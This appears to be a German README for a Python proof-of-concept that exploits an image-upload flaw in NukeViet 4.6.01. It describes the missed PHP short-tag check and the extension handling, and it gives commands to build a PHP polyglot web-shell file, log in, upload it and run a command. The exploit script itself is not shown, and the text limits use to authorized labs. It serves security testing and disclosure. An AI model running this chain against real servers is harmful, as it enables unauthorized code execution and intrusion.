
Python-PoC für die NukeViet 4.6.01 Image-Upload-RCE-Kette: erzeugt eine PHP-Polyglot-Payload und meldet sich in einem autorisierten Labor an, lädt sie hoch und führt einen Proof-Befehl aus.
Autorisierter Lab-PoC für die gemeldete NukeViet-Image-Upload-Kette:
verify_image() übersieht PHP-Kurz-Tags (<?)..php-Erweiterung bei..php nur am Ende der URI.Dieses Repository enthält keine Zugangsdaten, Tokens, Cookies oder Konfiguration für Live-Ziele. Nur gegen ein eigenes oder ausdrücklich autorisiertes Lab ausführen.
requestsAbhängigkeit installieren:
python3 -m pip install requests
Keine Netzwerkanfrage:
python3 nukeviet_rce.py --payload-only --file shell.php.jpg
python3 nukeviet_rce.py \
--authorized \
--url http://127.0.0.1:8080 \
--username LAB_USER \
--password 'LAB_PASSWORD' \
--command id
Das Skript führt aus: Login -> Multipart-Upload -> Extraktion des Upload-Pfads -> eine Befehlsanfrage. Verwende harmlose Nachweisbefehle wie id oder whoami.
Der PoC demonstriert die Auswirkung nur, wenn die exakte Zielkonfiguration die PHP-Ausführung erreicht. Ein erfolgreicher Payload-Generierungslauf oder eine Übereinstimmung auf Quellcode-Ebene allein beweist keine RCE zur Laufzeit. Nicht gegen Systeme Dritter ausführen.